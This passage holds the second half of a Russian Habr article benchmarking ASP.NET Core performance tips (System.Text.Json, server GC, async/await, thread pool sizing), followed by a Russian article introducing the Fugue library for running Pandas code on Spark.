Переход на последнюю версию фреймворка, как мы видим, поможет приложению выдерживать большую пиковую нагрузку. Трудозатраты на переход могут разниться от проекта к проекту, однако если заранее подготовится к переходу, изучить используемые библиотеки, а также ознакомится с [инструкциями по миграции от Microsoft](https://docs.microsoft.com/en-us/aspnet/core/migration/31-to-60?view=aspnetcore-6.0&tabs=visual-studio), можно сделать трудозатраты более предсказуемыми. Данная рекомендация, на мой взгляд, выглядит вполне жизнеспособной и отвечает критериям "минимум трудозатрат - ощутимый эффект для всего приложения".
Рекомендация 2: Используйте System.Text.Json
--------------------------------------------
Код сериализации участвует в каждом запросе, следовательно, является частью любого hot path в API приложении. Долгое время Newtonsoft.Json со всем его богатым функционалом использовался в качестве сериализатора по умолчанию, но начиная с ASP NET Core 3.0 его заменил System.Text.Json.
Если с версии Core 3.0, вышедшей более 3-х лет назад, новый сериализатор используется по умолчанию, есть ли смысл в рекомендации по переходу на System.Text.Json ? Да. Множество приложений было написано с учетом особенностей Newtonsoft.Json, таких, как самописные JsonConverters. Для сохранения обратной совместимости множество разработчиков предпочли оставить Newtonsoft.Json в качестве сериализатора по умолчанию и не выполнять миграцию. Обратная совместимость обеспечивается пакетом `Microsoft.AspNetCore.Mvc.NewtonsoftJson` который все еще очень популярен даже для NET 6.
Статистика использования NuGet пакета для совместимости с Newtonsoft.JsonСледует также учитывать что System.Text.Json отличается от Netwonsoft.Json сильнее чем Core 3.1 от NET 6. System.Text.Json имеет более строгие правила по умолчанию, а также не поддерживает некоторые сценарии (подробнее с различиями можно ознакомится [по ссылке](https://docs.microsoft.com/en-us/dotnet/standard/serialization/system-text-json-migrate-from-newtonsoft-how-to)). Код сериализации/десериализации обычно отделен от контроллеров и логики приложения и настраивается отдельно в Program.cs/Startup.cs, однако если ваш код не сможет работать с System.Text.Json из коробки, для миграции могут понадобиться ощутимые трудозатраты. Для принятия решения необходимо знать какой эффект это окажет на пропускную способность вашего приложения.
Для теста нам понадобится два API проекта на NET 6, которые будут отличаться используемым сериализатором по умолчанию.
Во время теста мы проверим два метода. Первый возвращает объект заказа по id, так мы проверим производительность на маленьких объектах (~1 KB). Второй метод возвращает страницу из 100 объектов, так мы проверим производительность на больших объектах (~190 KB). В [тестовом сценарии](https://github.com/MrPomidor/ASPNetPerfImprovementsDemo/tree/master/Solution/SerializerComparison) мы проверим пиковую нагрузку при 20 параллельных клиентах (10 на каждый метод).
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| Serialization Framework | order (RPS) | order mean (ms) | orders (RPS) | orders mean (ms) | all (RPS) |
| Newtonsoft.Json | 284.4 | 35.14 | 50 | 199.65 | 334.4 |
| System.Text.Json | 348.1 | 28.7 | 60.3 | 165.78 | 408.4 |
Согласно результатам общего теста, пропускная способность приложения выросла на **22** процента. Миграция на System.Text.Json значительно повысит устойчивость приложения под нагрузкой. Также стоит отметить уменьшившееся потребление памяти и нагрузку на GC (протестировано при одинаковом RPS):
| | | |
| --- | --- | --- |
| Serialization Framework | Allocation rate (MB/sec) | Process working set (MB) |
| Newtonsoft.Json | 15.599 | 351.977 |
| System.Text.Json | 11.693 | 278.454 |
Но это не предел для System.Text.Json. С появлением генераторов кода в NET 6 появилась возможность создавать автосгенерированные сериализаторы для ваших моделей чтобы еще больше повысить производительность за счет отказа от использования рефлексии. Нужно лишь создать `partial` класс-контекст унаследованный от `JsonSerializerContext` и указать с помощью атрибутов классы, для которых нужны оптимизированные сериализаторы. После зарегистрировать контекст в Program.cs/Startup.cs.
```
[JsonSerializable(typeof(SalesOrderHeader))]
[JsonSerializable(typeof(List))]
public partial class AdventureWorksContext : JsonSerializerContext
{
}
```
```
public static void Main(string[] args)
{
var builder = WebApplication.CreateBuilder(args);
...
builder.Services
.AddControllers()
.AddJsonOptions(options => {
options.JsonSerializerOptions.AddContext();
});
...
}
```
Однако стоит учитывать что использование генераторов имеет свою цену. Если для большинства функций Newtonsoft.Json можно найти аналог в System.Text.Json то использование генераторов подразумевает минимальную кастомизацию. Большая часть функционала, включая самописные конвертеры при использовании генераторов недоступна (детальнее можно ознакомится по [ссылке](https://docs.microsoft.com/en-us/dotnet/standard/serialization/system-text-json-source-generation-modes?pivots=dotnet-6-0)). В том числе недоступны такие функции как обработка циклических зависимостей, что проявляется даже в тестовом примере. При использовании моделей Entity Framework у вас может быть класс родитель, который имеет ссылку на коллекцию из детей, а каждый ребенок может через `virtual` свойство ссылаться на родителя. В нашем коде как раз такая ситуация с `OrderHeaderHeader` и `SalesOrderDetail`:
```
[Table("SalesOrderHeader", Schema = "Sales")]
public partial class SalesOrderHeader
{
...
public virtual List SalesOrderDetails { get; set; }
}
[Table("SalesOrderDetail", Schema = "Sales")]
public partial class SalesOrderDetail
{
...
public virtual SalesOrderHeader SalesOrderHeader { get; set; }
}
```
Для решения распространенной проблемы с циклическими зависимостями вам нужно либо отказаться от использования навигационных свойств (то есть переписать ваше приложение и сильно ограничить удобство разработки), либо вручную присваивать ссылкам `null`. Все выше перечисленное вряд ли соответствует принципу "минимум трудозатрат", но давайте посмотрим насколько производительнее станет приложение.
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| Serialization Framework | order (RPS) | order mean (ms) | orders (RPS) | orders mean (ms) | all (RPS) |
| System.Text.Json | 348.1 | 28.7 | 60.3 | 165.78 | 408.4 |
| System.Text.Json (with generators) | 370.8 | 26.94 | 62.9 | 158.88 | 433.7 |
Сравнив полученные результаты мы можем сделать вывод что использование генераторов на **6** процентов поднимет производительность приложения в сравнении с использованием System.Text.Json. Будет ли это стоить затраченных усилий - решать вам. Но миграцию с Newtonsoft.Json на System.Text.Json, на мой взгляд, однозначно стоит рассмотреть как хорошую рекомендацию.
Рекомендация 3: Используйте серверный режим работы GC
-----------------------------------------------------
В NET используется механизм сборки мусора (GC), который в большинстве случаев освобождает разработчика от необходимости менеджмента памяти. В большинстве случаев, но ровно до того момента, пока вопрос производительности приложения не встает остро. Это связано с принципом работы GC в NET. Если упрощенно описать принцип работы GC, то получится что для сборки мусора среда останавливает все приложение (все активные потоки) и возобновляет их работу только после того как сборка мусора завершена. Следовательно, чем активнее программа выделяет память, тем больше GC проводит сборок мусора, тем дольше приложение остается блокированным. Время работы GC можно измерять в процентах от общего времени работы приложения. Какие значения можно считать нормой ? Сложно сказать, но большинство источников сходятся в следующем: если приложение проводит в сборке мусора 20 процентов от общего времени и больше, то у вас проблемы :)
> Allocation is cheap... until it is not
>
> *Konrad Kokosa*
>
>
Можно выделить два подхода к оптимизации работы GC. Первый - переписать код приложения чтобы он выделял меньше памяти, используя такие техники как object pooling, copy-free методы работы с массивами с помощью `Span` и `Memory`, используя структуры вместо объектов, где это применимо (при этом избегая boxing/unboxing) и т.д. Этот подход подразумевает большое количество трудозатрат и переписывания большой части кода во всем приложении, а значит не подходит нам в рамках этой статьи.
Второй подход - настроить GC для более оптимальной работы. Есть два режима работы GC - Workstation и Server. Постараюсь упрощенно описать в чем их различия (детально можно ознакомится по следующим ссылкам: [ссылка 1](https://docs.microsoft.com/en-us/dotnet/standard/garbage-collection/workstation-server-gc), [ссылка 2](https://devblogs.microsoft.com/premier-developer/understanding-different-gc-modes-with-concurrency-visualizer/)). В режиме Workstation есть один приоритетный поток, который занимается сборкой мусора в одной куче. В режиме Server на каждый логический процессор ([подробнее про logical CPU](https://unix.stackexchange.com/questions/88283/so-what-are-logical-cpu-cores-as-opposed-to-physical-cpu-cores)) выделена отдельная куча, с каждой из которых работает отдельный поток с высоким приоритетом. Это значит что при одинаковом общем размере кучи с режимом Workstation в режиме Server сборка мусора будет происходить быстрее. Также в режиме Server на кучу обычно выделяется больше памяти, что позволяет проводить сборку мусора реже чем в режиме Workstation, то есть маленький размер приложения в памяти приносится в жертву производительности.
Для включения серверного режима нужно добавить следующее значение в конфигурацию проекта:
```
net6.0
true
...
...
```
Стоит добавить что в конфигурации режима CG есть нюанс. [В документации](https://docs.microsoft.com/en-us/dotnet/standard/garbage-collection/workstation-server-gc) описано, что для standalone приложений режим работы GC по умолчанию - Workstation, но для hosted приложений (в которые включены также приложения ASP NET Core) режим работы GC по умолчанию определяется хостом. Более детальной информации о том в каких случаях хост определяет режим по умолчанию Workstation а в каких Server я к сожалению не нашел. Во время создания демо проектов режим GC на моей машине был по умолчанию определен как Server. Определить какой режим GC выбран в вашем приложении можно с помощью свойства `System.Runtime.GCSettings.IsServerGC`, но я бы рекомендовал вам указывать предпочтительный режим работы GC явно в конфигурации.
Для теста нам понадобится [два API проекта](https://github.com/MrPomidor/ASPNetPerfImprovementsDemo/tree/master/Solution/GCModeComparison) на NET 6, которые будут отличаться только настройкой `ServerGarbageCollection` в конфигурации. Для теста проверим пиковые нагрузки.
| | | |
| --- | --- | --- |
| GC Mode | order (RPS) | order mean (ms) |
| Workstation | 5469.4 | 9.13 |
| Server | 8283.3 | 6.03 |
Согласно результатам теста, режим Server более чем на **51** процент производительнее чем Workstation, из чего можно сделать вывод - если ваше приложение по каким то причинам работает с режимом GC Workstation, использование режима Server сможет значительно повысить производительность с минимальными трудозатратами.
Рекомендация 4: Используйте async/await
---------------------------------------
В ASP NET Core приложении один поток может одномоментно обрабатывать один входящий запрос от пользователя. Число потоков в пуле ограничено. Если во время обработки выполняемый поток столкнется с синхронной I/O bound операцией, он будет ожидать, впустую расходуя ресурс процессора. Поток не сможет выполнять полезную работу пока операция не завершится. Если при множестве запросов большинство потоков будет заблокировано подобным образом, пропускная способность и масштабируемость вашего приложения будет сильно ограничена. Рекомендация в данной ситуации проста - используйте асинхронные перегрузки методов с async/await. Тогда поток вместо ожидания вернется в пул для выполнения полезной работы и ваше приложение сможет обработать больше запросов.
Эта рекомендация в отличие от предыдущих подразумевает изменение кода вашего приложения, от сигнатуры метода контроллера до конечной точки обращения к БД из, например, Entity Framework Core. Выполняемый рефакторинг, для некоторых проектов, может быть достаточно масштабным и трудозатратным. Трудозатраты включают, в том числе и интеграционное тестирование приложения после завершения рефакторинга. Почему же мы рассматриваем эту рекомендацию в данной статье ?
Во-первых, потому что процесс перевода на async/await является, на мой взгляд, достаточно простым. Перевод цепочки вызовов от контроллера до вызова в БД на async/await может выполняться машинально или даже автоматически с помощью Roslyn анализаторов и code fixes (подобные анализаторы описаны, например, в этих статьях: [статья 1](https://www.meziantou.net/enforcing-asynchronous-code-good-practices-using-a-roslyn-analyzer.htm), [статья 2](https://cezarypiatek.github.io/post/async-analyzers-summary/)). Чтобы спрогнозировать масштаб работ достаточно запустить анализатор, выставив `severity = error` нужным правилам. Такие работы при достаточной подготовке и хорошем покрытии тестами могут быть выполнены достаточно быстро и безопасно.
Во-вторых, такая рекомендация до сих пор актуальна. Не секрет, что существует множество проектов, написанных много лет назад на устаревших версия фреймворка используя устаревшие библиотеки. Такие проекты поддерживаются до сих пор. Задачи на поддержку подобных проектов, в том числе и задачи на повышение их отзывчивости и производительности встречаются достаточно часто. Я за последние два года сталкивался с 3-мя проектами где выполнялся подобный рефакторинг, в том числе с целью повышения производительности.
Перед принятием решения на проведение таких работ лидеру команды будет полезно знать какой эффект это окажет на пропускную способность приложения. Для этого проведем тест пиковой нагрузки [двух версий API](https://github.com/MrPomidor/ASPNetPerfImprovementsDemo/tree/master/Solution/SyncAsyncComparison) состоящих из двух методов: метода возвращающего заказ по id, и более тяжелого метода возвращающего страницу из 100 элементов. Первая версия API будет полностью синхронной, вторая асинхронной.
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| API version | order (RPS) | order mean (ms) | orders (RPS) | orders mean (ms) | all (RPS) |
| Sync | 1257.3 | 39.74 | 460.2 | 108.57 | 1717.5 |
| Async | 2316.3 | 21.57 | 409.9 | 121.89 | 2725.3 |
Результаты сравнения показывают что в целом пропускная способность приложения стала выше на **58** процентов, так что рекомендацию использовать async/await в данных условиях можно считать жизнеспособной. Однако есть момент на который стоит обратить внимание, а именно метод возвращающий страницу заказов. Согласно отсчету NBomber производительность данного метода ухудшилась на **11** процентов. Проведя повторный тест только для этого метода ухудшение пропускной способности данного метода подтвердилось:
| | | |
| --- | --- | --- |
| Method | RPS | Mean (ms) |
| Get orders page (Sync) | 579.3 | 172.5 |
| Get orders page (Async) | 568.7 | 174.41 |
Это говорит нам о том что даже изменения с предсказуемым, на первый взгляд, эффектом могут повести себя неожиданно. Поэтому, хочется еще раз повторить что положительный результат любой оптимизации обязательно должен быть подтвержден.
Рекомендация 5: Вручную настройте количество потоков в пуле
-----------------------------------------------------------
Во время тестирования синхронного API из предыдущей рекомендации мы с помощью `dotnet counters` также смогли собрать метрики использования потоков и количество работы в очереди:
| | | |
| --- | --- | --- |
| API version | ThreadPool Thread Count | ThreadPool Queue Length |
| Sync | 34 | 50 |
| Async | 31 | 0 |
Как видим, если все операции синхронные и потоков в пуле не хватает, то работа начинает скапливаться в очереди. Пул потоков имеет возможность расширятся при определенных условиях и вполне возможно что через какое-то время пул адаптируется к возросшей нагрузке, однако на это понадобится время. Можем ли мы повлиять на эту ситуацию и задать нужное количество потоков в пуле вручную ? Да, мы можем это сделать с помощью класса `ThreadPool`:
```
const int WorkerThreads = 70;
const int CompletionPortThreads = 70;
if (!ThreadPool.SetMinThreads(WorkerThreads, CompletionPortThreads))
throw new ApplicationException("Failed to set minimum threads");
```
Стоит отметить что ручная настройка количества потоков в пуле может повлиять на производительность приложения как положительно, так и отрицательно. По умолчанию пул потоков автоматически регулирует количество потоков в пуле опираясь на множество метрик, таких как количество ядер, количество работы в очереди и т.д. Автоматическое регулирование призвано найти баланс когда потоков достаточно для выполнения текущих задач, но и не больше чем нужно, чтобы не увеличивать накладные расходы на переключение контекста ([страница в документации](https://docs.microsoft.com/en-us/dotnet/api/system.threading.threadpool.setminthreads?view=net-6.0#remarks)).
В качестве точки отсчета выберем количество потоков задействованных во время тестирования синхронного API (**34**) и попробуем увеличить их число на количество работы в очереди (**50**). Округлим число потоков до **70**. Проведем тест и добавим полученные результаты к сравнительной таблице из прошлого раздела.
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| API version | order (RPS) | order mean (ms) | orders (RPS) | orders mean (ms) | all (RPS) |
| Sync | 1257.3 | 39.74 | 460.2 | 108.57 | 1717.5 |
| Async | 2316.3 | 21.57 | 409.9 | 121.89 | 2725.3 |
| Sync (SetMinThreads(70, 70)) | 2336 | 21.39 | 428.8 | 116.32 | 2764.8 |
В результате ручной настройки количества потоков в пуле, производительность синхронного API приблизилась к производительности асинхронного API. Можно сделать вывод что в некоторых ситуациях ручная настройка количества потоков в пуле поможет вам повысить производительность приложения без каких либо изменений в коде. Этот подход может быть актуален, если у вас нет возможности провести рефакторинг для использования async/await, однако использовать его стоит с большой осторожностью, опираясь на результаты тестирования в среде, приближенной к проду.
Выводы
------
В этой статье мы рассмотрели некоторые рекомендации по повышению производительности ASP NET Core приложения и протестировали их на жизнеспособность. В результате были собраны данные о влиянии отдельных рекомендаций на производительность. Эти данные призваны помочь разработчикам и лидерам команд принимать решения о целесообразности применения данных рекомендаций. Исходный код всех проектов, которые использовались в данной статье, код сценариев нагрузочного тестирования, а также более детальная и полная статистика тестирования доступны в репозитории на [GitHub](https://github.com/MrPomidor/ASPNetPerfImprovementsDemo).
Надеюсь статья была вам полезна. У меня также были планы разбора рекомендаций для Entity Framework Core. Если формат данной статьи не вызовет отторжения, я с радостью напишу об этом следующую статью. **UPD**: статья была написана и [опубликована](https://habr.com/ru/post/675310/).
Спасибо за внимание ! | https://habr.com/ru/post/669176/ | null | ru | null |
# Знакомство с Fugue — уменьшаем шероховатости при работе с PySpark
*Повышение производительности разработчиков и снижение затрат на проекты Big Data*
### Мотивация
Специалисты по обработке данных часто начинают работать с Pandas или SQL. Рано или поздно объем обрабатываемых данных превосходит возможности Pandas, и возникает необходимость в распределенных вычислениях. Одним из таких инструментов является Spark, популярная система распределенных вычислений, которая позволяет обрабатывать большие объемы данных в памяти на кластере машин. Хотя механизм Spark очень мощный для масштабирования конвейеров данных, существует множество подводных камней, с которыми сталкиваются новички и даже опытные пользователи при использовании Spark.
Вполне ожидаемо, что первоначальная трудность заключается в необходимости изучения совершенно нового фреймворка. Синтаксис и использование Spark и Pandas сильно отличаются. Пользователи, переносящие проекты с Pandas на Spark, часто сталкиваются с необходимостью переписать большую часть кода, даже для той же самой логики риложения. Хуже того, некоторые операции, которые в Pandas выполняются тривиально, в Spark становятся намного сложнее и требуют много времени для реализации.
**Простой пример подобной операции - получение медианы для каждой группы данных.** В Pandas нет необходимости долго думать о методе получения медианы для каждой группы. Однако в Spark эта операция не так проста. Мы сравним синтаксис двух фреймворков в приведенном ниже фрагменте кода:
```
# Pandas
df.groupby("col1")["col2"].median()
# PySpark
from pyspark.sql import Window
import pyspark.sql.functions as F
med_func = F.expr('percentile_approx(col2, 0.5, 20)')
df.groupBy('col1').agg(med_func).show()
```
Такое несоответствие синтаксиса объясняется тем, что вычисление медианы в распределенной среде требует больших затрат. Все данные, принадлежащие одной группе, должны быть перенесены на одну машину. Таким образом, перед получением медианы
данные необходимо перетасовать и отсортировать. Чтобы снизить затраты на вычисления, можно получить приблизительную медиану с заданным допуском. В приведенном фрагменте 20 - это точность, то есть относительная ошибка может составлять 1/20, или 5%. Уточнение допуска позволяет пользователям найти баланс между точностью и скоростью.
Помимо разницы в синтаксисе, **в распределенной среде существуют важные понятия (такие как разделение, перемешивание, сохранение и ленивые вычисления)**, о которых пользователи Pandas изначально не знают. Эти концепции требуют значительного времени для изучения и освоения, что затрудняет полноценное использование движка Spark.
[Fugue](https://github.com/fugue-project/fugue), слой абстракции с открытым исходным кодом, обеспечивает бесшовный переход от окружения с одной машиной к вычислениями в распределенной среде. С помощью Fugue пользователи могут кодировать свою логику на родном языке Python, Pandas или SQL, а затем передавать ее в движок Spark (или Dask) для исполнения. Это означает, что **пользователям даже не нужно изучать синтаксис Spark, чтобы использовать Spark.**
В этой статье мы обсудим болевые точки, с которыми сталкиваются пользователи Spark, и то, как Fugue решает эти проблемы. **Fugue - это прямой результат нескольких лет размышлений о том, как можно улучшить работу разработчиков Spark.** Помимо обеспечения более простого интерфейса для кодирования в Spark, есть и более ощутимые преимущества, которые дает использование слоя абстракции. Здесь мы покажем, как Fugue:
* Справляется с несовместимостью между различными вычислительными фреймворками (Pandas, Spark и Dask)
* Обеспечивает возможность повторного использования кода как для данных, помещающихся в Pandas, так и для данных, для которых необходимо использование Spark
* Значительно ускоряет тестирование и снижает общую стоимость проекта
* Позволяет новым пользователям гораздо быстрее начать продуктивную работу с Spark
* Предоставляет SQL-интерфейс, способный обрабатывать сквозные рабочие процессы от начала до конца
### Несовместимость между Pandas и Spark
*Может ли быть единый интерфейс для больших и малых данных?*
Пользователи Pandas, переходящие на Spark, часто сталкиваются с противоречивым поведением. Во-первых, Pandas допускает смешанные типы столбцов. Это означает, что строки и числа могут быть смешаны в одном столбце. В Spark schema строго соблюдается, и столбцы смешанного типа не допускаются. Это связано с тем, что Pandas обладает роскошью видеть все данные в процессе выполнения операций, в то время как Spark выполняет операции на нескольких машинах, на которых хранятся различные части данных. Это означает, что Spark может легко заставить разные разделы вести себя по-разному, если schema не будет строго соблюдаться.
Значения NULL также обрабатываются по-разному в Pandas и Spark. В таблице ниже приведена сводная информация об обработке значений NULL по умолчанию
Это первое преимущество использования Fugue в качестве слоя абстракции. Преобразовать код Pandas в годный для работы на Spark - это одно дело, однако написание кода, дающего согласованные результаты между разными инструментами, это очень утомительный процесс. Во многих случаях для получения одинаковых результатов приходится писать дополнительный код. Fugue заботится о согласованности, чтобы создать мост между Pandas и Spark. Fugue был разработан для совместимости со Spark и SQL, поскольку это гарантирует, что код будет работать так, как и ожидается. **Пользователи не должны тратить свое время, заботясь о поведении, специфичном для конкретного фреймворка.**
### Развязка логики и исполнения
*Почему я должен выбирать фреймворк прежде, чем начинать проект по работе с данными?*
Одна из проблем при использовании Pandas и Spark заключается в том, что логика тесно связана с интерфейсом. Это непрактично, поскольку требует от специалистов по работе с данными выбора, с чем они будут работать, уже на начальном этапе проекта. Вот два сценария, которые представляют две стороны одной и той же проблемы.
1. Пользователь пишет код в Pandas, а затем данные становятся слишком большими. Чтобы решить эту проблему, необходимо модернизировать базовое оборудование для поддержки исполнения кода (вертикальное масштабирование).
2. Пользователь кодирует в Spark, ожидая, что данные будут большими, но они никогда не вырастают до размера, требующего Spark. Код и тесты работают медленнее, чем должны, из-за накладных расходов на Spark.
В обоих сценариях пользователь в итоге использует не тот инструмент, который нужен для работы. Этих сценариев можно избежать, если разделить логику и исполнение. **Использование Fugue в качестве уровня абстракции позволяет пользователям писать одну кодовую базу, совместимую как с Pandas, так и со Spark.** Фреймворк, на котором исполняется код, может быть уточнен во время выполнения программы путем указания конкретного движка. Чтобы продемонстрировать это, давайте рассмотрим самый простой способ использования Fugue - функцию `transform()`.
Для данного примера у нас есть DataFrame со столбцами `id` и `value`. Мы хотим создать столбец под названием `food` путем сопоставления `value` с соответствующим `food` в словаре `mapping`.
```
import pandas as pd
from typing import Dict
input_df = pd.DataFrame({"id": [0, 1, 2], "value": (["A", "B", "C"])})
mapping = {"A": "Apple", "B": "Banana", "C": "Carrot"}
```
В Pandas есть простой метод для этого. Мы можем создать функцию Pandas, которая вызывает его.
```
def map_letter_to_food(df: pd.DataFrame, mapping: Dict) -> pd.DataFrame:
df["food"] = df["value"].map(mapping)
return df
```
Не редактируя функцию Pandas, мы можем перенести ее в Spark с помощью функции `transform()` в Fugue. Эта функция может принимать Pandas DataFrame или Spark DataFrame, возвращает же она Spark DataFrame (если в аргументе engine указан движок
Spark).
```
from fugue import transform
from pyspark.sql import SparkSession
spark_session = SparkSession.builder.getOrCreate()
df = transform(input_df,
map_letter_to_food,
schema="*, food:str",
params=dict(mapping=mapping),
engine=spark_session
)
df.show()
```
Обратите внимание, что нам нужно вызвать `.show()`, поскольку Spark выполняет расчет “лениво”. Вывод показан ниже.
В этом сценарии нам не пришлось редактировать исходную функцию на базе Pandas. Функция `transform()` позаботилась о переносе исполнения кода на Spark, поскольку в качестве движка мы указали `spark_session`. Если движок не указан, по умолчанию используется движок на основе Pandas. Пользователям Pandas может быть не привычно каждый раз явно определять `schema`, но таково требование для распределенных вычислений.
Однако на самом деле Pandas не всегда будет самым простым способом выражения логики. Таким образом, Fugue также поддерживает использование нативных функций Python, будучи **гибким в обработке различных типов ввода и вывода.** Ниже приведены три различные реализации для нашей функции `map_letter_to_food()`. Все они совместимы с функцией Fugue `transform()` и могут быть использованы на движках Pandas, Spark и Dask с одинаковым синтаксисом.
```
from typing import List, Dict, Any, Iterable
def map_letter_to_food2(df: List[Dict[str, Any]], mapping: Dict) -> Iterable[Dict[str, Any]]:
for row in df:
row["food"] = mapping[row["value"]]
yield row
def map_letter_to_food3(df: List[List[Any]], mapping: Dict) -> List[List[Any]]:
for row in df:
row.append(mapping[row[1]])
return df
def map_letter_to_food4(df: List[List[Any]], mapping: Dict) -> pd.DataFrame:
for row in df:
row.append(mapping[row[1]])
df = pd.DataFrame.from_records(df, columns=["id", "value", "food"])
return df
```
Обратите внимание, что вся логика определена в функции `map_letter_to_food()`. Выполнение откладывается до вызова `transform()`, где мы указываем движок. **Пользователям нужно только определить свою логику удобным для них способом.** Затем Fugue выполнит работу по доведению ее до указанного движка.
В то время как Spark предоставляет `Pandas API` в качестве способа выполнения функций Pandas на Spark, Fugue предоставляет более простой интерфейс, сосредоточенный вокруг определеннной schema. [Здесь](https://fugue-tutorials.readthedocs.io/tutorials/beginner/schema.html) schema передается в `transform()` в виде единственной строки, оставляя исходную функцию нетронутой.
На более практическом уровне очень часто команды специалистов по анализу данных имеют общие библиотеки, содержащие специфическую бизнес-логику для очистки и преобразования данных. В настоящее время эту логику приходится реализовывать
дважды - один раз для проектов на Pandas и второй раз для проектов на Spark. С помощью Fugue **одну и ту же функцию можно использовать как на движке Pandas, так и на движке Spark без изменения кода.**
Это также делает код **перспективным на будущее.** Что если однажды вы решите, что хотите использовать движок Dask? Что если вы захотите использовать движок Ray? Использование Fugue в качестве слоя абстракции позволит вам легко мигрировать,
поскольку это будет просто вопрос указания движка во время исполнения. С другой стороны, написание кода с использованием Spark автоматически привяжет кодовую базу к этому фреймворку. Минималистичный интерфейс Fugue намеренно упрощает процесс
перехода между фреймворками, если пользователь этого захочет.
### Улучшение тестируемости Spark
*Как мы можем ускорить процесс разработки и тестирование в проектах больших данных?*
Тестирование кода в Spark утомительно. В настоящее время существует два подхода, которые используются при разработке приложений Spark. Пользователи Databricks могут использовать библиотеку Python под названием `databricks-connect`, которая заменяет локальную установку PySpark. При каждом вызове `pyspark` код компилируется локально, а затем выполняется на настроенном кластере. Это означает, что **простые тесты и изменения кода требуют запуска конкретного кластера.** Это занимает много времени и, кроме того, очень дорого.
Второй подход заключается в локальной разработке, а затем использовании инструмента spark-submit для упаковки кода и его запуска на кластере через SSH. Этот процесс требует немногим больше работы и отнимает много времени. Для команд, ведущих разработку на основе тестирования, весь набор тестов может занять очень много времени. Даже если все тестирование выполнено локально, Spark все равно запускается медленнее в сравнении с Pandas, поскольку нуждается в настройке среды JVM. Суждения о результатах при операциях с DataFrame требуют вызова либо метода `collect()`, либо `toPandas()`, что займет много времени по сравнению с оценкой на основе Pandas.
Поскольку выбор движка исполнения осуществляется во время операции выполнения, мы можем использовать механизм на базе Pandas на небольших данных во время тестирования, а затем использовать механизм Spark для производства. **Тестирование становится быстрее и дешевле, поскольку код отделен от Spark**, а значит, не нужно запускать среду выполнения Spark для каждого небольшого теста кода. После локального тестирования с помощью Pandas тот же код можно перенести в механизм выполнения Spark для возможности масштабирования.
Единообразие, гарантируемое Fugue, обеспечивает, что исполнение кода на движке по умолчанию и на движке Spark даст одинаковые результаты. Это значительно **ускоряет циклы разработки и делает проекты по работе с большими данными значительно дешевле**, поскольку можно избежать дорогостоящих ошибок. Время тестирования часто сокращается с минут до секунд.
Пользователи Fugue также выигрывают от того, что им приходится **писать меньше тестов**. В нашем примере с `transform()`, приведенном выше, тестировать нужно только исходную функцию. Пользователи также могут протестировать `transform()`, но она уже была тщательно протестирована на уровне Fugue. Для сравнения, при использовании
подхода PySpark потребуется 1 или 2 вспомогательные функции, которые впоследствии также должны быть протестированы. Эквивалент `transform()`, написанный на PySpark можно найти [здесь](https://fugue-tutorials.readthedocs.io/tutorials/beginner/transform.html).
### Снижение дорогостоящих ошибок
*Как мы можем уменьшить помехи, с которыми сталкиваются начинающие специалисты по распределенным вычислениям?*
Многие пользователи Spark не знают, что в Spark очень легко попасть на лишний пересчет данных. Фреймворки распределенных вычислений “лениво” оценивают код, то есть вычислительный граф (или DAG) строится и затем выполняется, когда выполняется действие для материализации результата. То есть такая операция, как печать или сохранение DataFrame.
> DAG - directed acyclic graph (ориентированный ациклический граф)
>
>
На вычислительном графе ниже, B повторно вычисляется для действий, которые запускают C, D и E. Это означает, что он вычисляется три раза. Если один запуск B занимает один час, мы без необходимости добавляем два часа к нашему рабочему процессу.
Опытные пользователи Spark знают, что B следует сохранить от изменений, чтобы избежать повторных вычислений. Однако **люди, менее знакомые с “ленивой” оценкой, часто страдают от ненужных повторных вычислений.** В экстремальных ситуациях эта “ленивая” оценка и повторные вычисления могут привести к неожиданному поведению, когда результаты операции полностью не предопределены. Самым ярким примером может быть столбец со случайными числами в B. Столбец случайных чисел будет пересчитан с разными результатами для C, D и E, если B не был сохранен.
Чтобы решить эту проблему, в Fugue также имеются оптимизации на уровне рабочего процесса. Ранее мы показали интерфейс `transform()` для одной функции. Fugue также поддерживает построение полных рабочих процессов с помощью функции `FugueWorkflow()`, как показано ниже. Это DAG-представление всего рабочего процесса, не зависящее от движка. `FugueWorkflow()` может принимать в методе `run()` указание движка, как показанная ранее функция `transform()`, чтобы перенести рабочий процесс, к примеру, на Spark.
```
import pandas as pd
from pyspark.sql import SparkSession
from fugue.workflow import FugueWorkflow
data = pd.DataFrame({'col1': [1, 2, 3], 'col2': [2, 3, 4]})
def make_new_col(df: pd.DataFrame) -> pd.DataFrame:
df['col3'] = df['col1'] + df['col2']
return df
spark_session = SparkSession.builder.getOrCreate()
dag = FugueWorkflow()
df = dag.df(data)
df = df.transform(make_new_col, schema="*, col3:int")
dag.run(spark_session)
df.result.show()
```
Анализируя зависимости построенного вычислительного графа (DAG), Fugue может разумно сохранять DataFrames, которые будут повторно использоваться несколькими операциями. Для большего контроля Fugue также предоставляет пользователям интерфейс для самостоятельного сохранения DataFrames.
Благодаря DAG, Fugue может также выполнять проверки schema и partitioning. Fugue распознает несоответствие схемы для будущих операций и немедленно выдает ошибку. Многие пользователи Spark часто тратят много денег и времени на выполнение кода на кластере, а спустя несколько часов узнают, что он не удался. **Наличие в Fugue процесса компиляции DAG помогает пользователям избежать дорогостоящих ошибок.**
### Интерфейс SQL
*Как можно довести SQL до уровня синтаксиса, подходящего для распределенных вычислительных процессов?*
Одним из новшеств Spark является интерфейс SQL в SparkSQL. Интерфейс SparkSQL отлично подходит для того, чтобы люди, предпочитающие SQL, могли описывать логику своих вычислений. К сожалению, он не позволяет пользователям воспользоваться всеми преимуществами Spark, поскольку он жестко основан на стандарте SQL. Кроме того, это вспомогательный интерфейс, который часто вызывается в промежутках между кодом, основанным преимущественно на Python.
Fugue имеет SQL-интерфейс, основанный на реализации SparkSQL, но с дополнительными улучшениями. Во-первых, есть дополнительные ключевые слова BROADCAST, PERSIST, PREPARTITION и PRESORT, которые позволяют пользователям явно использовать преимущества операций распределенных вычислений Spark. Также появилась поддержка использования функций Python в FugueSQL с помощью ключевого слова TRANSFORM (среди прочих). Для поддержки сквозных рабочих процессов были добавлены такие ключевые слова, как LOAD и SAVE. Ниже приведен эквивалент нашего предыдущей функции `FugueWorkflow`.
```
from fugue import fsql
fsql("""SELECT col1, col2
FROM data
TRANSFORM USING make_new_col SCHEMA *,col3:int
PRINT""").run(spark_session)
```
